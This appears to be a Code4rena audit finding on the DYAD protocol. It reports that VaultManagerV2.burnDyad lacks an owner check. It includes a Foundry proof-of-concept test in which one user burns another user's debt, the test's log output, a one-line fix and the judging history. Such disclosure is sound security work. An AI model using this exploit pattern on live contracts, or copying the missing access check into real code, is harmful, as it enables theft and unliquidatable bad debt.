Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 41/183
Findings: 1
Award: $291.13
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: Pataroff
Also found by: Egis_Security, Evo, Jorgect, MrPotatoMagic, SBSecurity, T1MOH, carrotsmuggler, ljj
291.1317 USDC - $291.13
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L172-L181
VaultManagerV2.sol
has a function burnDyad
that allows a DNft owner to burn his minted DYAD tokens.
function burnDyad(uint256 id, uint256 amount) external isValidDNft(id) { dyad.burn(id, msg.sender, amount); emit BurnDyad(id, amount, msg.sender); }
However, the function does not check if the DNft id that is passed to it and the isValidDNft
modifier belongs to msg.sender
, allowing any DNft owner to burn any other DNft owner minted DYAD by calling the burnDyad
function with the other user's DNft id.
A user can prevent an open position from being liquidated by calling VaultManagerV2::burnDyad
to burn his own DYAD balance, while retaining his DYAD debt, effectively creating bad debt that cannot be liquidated nor redeemed.
Moreover, by specifying a different DNft id from their own when calling VaultManagerV2::burnDyad
, the user can clear DYAD debt from another position while retaining the DYAD balance associated with it, effectively tricking the protocol in allowing him to mint more DYAD as the position no longer has DYAD debt.
VaultManagerHelper.t.sol
VaultManager.t.sol
VaultManagerV2.sol
(not VaultManager.sol
) and run with:forge test --mt test_burnAnotherUserDyad
VaultManagerHelper.t.sol
function mintDNftToUser(address user) public returns (uint256) { return dNft.mintNft{value: 1 ether}(user); } function userDeposit(ERC20Mock token, uint256 id, address vault, uint256 amount, address user) public { vaultManager.add(id, vault); token.mint(user, amount); token.approve(address(vaultManager), amount); vaultManager.deposit(id, address(vault), amount); }
VaultManager.t.sol
function test_burnAnotherUserDyad() public { vm.deal(Alice, 10 ether); vm.deal(Bob, 10 ether); // Mint DYAD to Alice vm.startPrank(Alice); uint256 aliceDNftId = mintDNftToUser(Alice); userDeposit(weth, aliceDNftId, address(wethVault), 1e22, Alice); vaultManager.mintDyad(aliceDNftId, 1e20, Alice); vm.stopPrank(); // Mint DYAD to Bob vm.startPrank(Bob); uint256 bobDNftId = mintDNftToUser(Bob); userDeposit(weth, bobDNftId, address(wethVault), 1e22, Bob); vaultManager.mintDyad(bobDNftId, 1e20, Bob); vm.stopPrank(); console.log("Alice Minted Dyad:", dyad.mintedDyad(address(vaultManager), 0)); // 100000000000000000000 console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); // 100000000000000000000 console.log("Bob Minted Dyad:", dyad.mintedDyad(address(vaultManager), 1)); // 100000000000000000000 console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 100000000000000000000 // Call `burnDyad` as Bob on Alice's DNft id! vm.prank(Bob); vaultManager.burnDyad(aliceDNftId, 1e20); // Bob position becomes insolvent as his DYAD balance is now equal to 0! console.log("Alice Minted Dyad:", dyad.mintedDyad(address(vaultManager), 0)); // 0 console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); // 100000000000000000000 console.log("Bob Minted Dyad:", dyad.mintedDyad(address(vaultManager), 1)); // 100000000000000000000 console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 0 // Alice can mint more DYAD as her DYAD debt is now equal to 0! vm.prank(Alice); vaultManager.mintDyad(aliceDNftId, 1e20, Alice); console.log("Alice Minted Dyad:", dyad.mintedDyad(address(vaultManager), 0)); // 100000000000000000000 console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); // 200000000000000000000 console.log("Bob Minted Dyad:", dyad.mintedDyad(address(vaultManager), 1)); // 100000000000000000000 console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 0 // Bob position cannot be liquidated due to high collaterization ratio! vm.prank(Alice); vm.expectRevert(); vaultManager.liquidate(1, 0); }
[PASS] test_burnAnotherUserDyad() (gas: 815369) Logs: Alice Minted Dyad: 100000000000000000000 Alice Dyad Balance: 100000000000000000000 Bob Minted Dyad: 100000000000000000000 Bob Dyad Balance: 100000000000000000000 Alice Minted Dyad: 0 Alice Dyad Balance: 100000000000000000000 Bob Minted Dyad: 100000000000000000000 Bob Dyad Balance: 0 Alice Minted Dyad: 100000000000000000000 Alice Dyad Balance: 200000000000000000000 Bob Minted Dyad: 100000000000000000000 Bob Dyad Balance: 0
Manual Review
Add isDNftOwner
modifier to VaultManagerV2.sol::burnDyad
to check if the passed DNft id belongs to msg.sender
, preventing the function caller from being able to burn another user's minted DYAD.
function burnDyad(uint256 id, uint256 amount) external isValidDNft(id) + isDNftOwner(id) { dyad.burn(id, msg.sender, amount); emit BurnDyad(id, amount, msg.sender); }
DoS
#0 - c4-pre-sort
2024-04-27T13:19:38Z
JustDravee marked the issue as duplicate of #409
#1 - c4-pre-sort
2024-04-29T09:35:53Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T12:01:31Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-09T11:38:49Z
koolexcrypto marked the issue as not a duplicate
#4 - c4-judge
2024-05-09T11:38:57Z
koolexcrypto removed the grade
#5 - c4-judge
2024-05-09T11:39:06Z
koolexcrypto marked the issue as duplicate of #74
#6 - c4-judge
2024-05-10T10:13:47Z
koolexcrypto marked the issue as duplicate of #992
#7 - c4-judge
2024-05-11T12:16:43Z
koolexcrypto marked the issue as satisfactory
#8 - c4-judge
2024-05-13T18:35:41Z
koolexcrypto changed the severity to 2 (Med Risk)
#9 - c4-judge
2024-05-28T10:28:03Z
koolexcrypto marked the issue as not a duplicate
#10 - c4-judge
2024-05-28T10:28:53Z
koolexcrypto marked the issue as primary issue
#11 - c4-judge
2024-05-28T10:30:12Z
koolexcrypto marked the issue as selected for report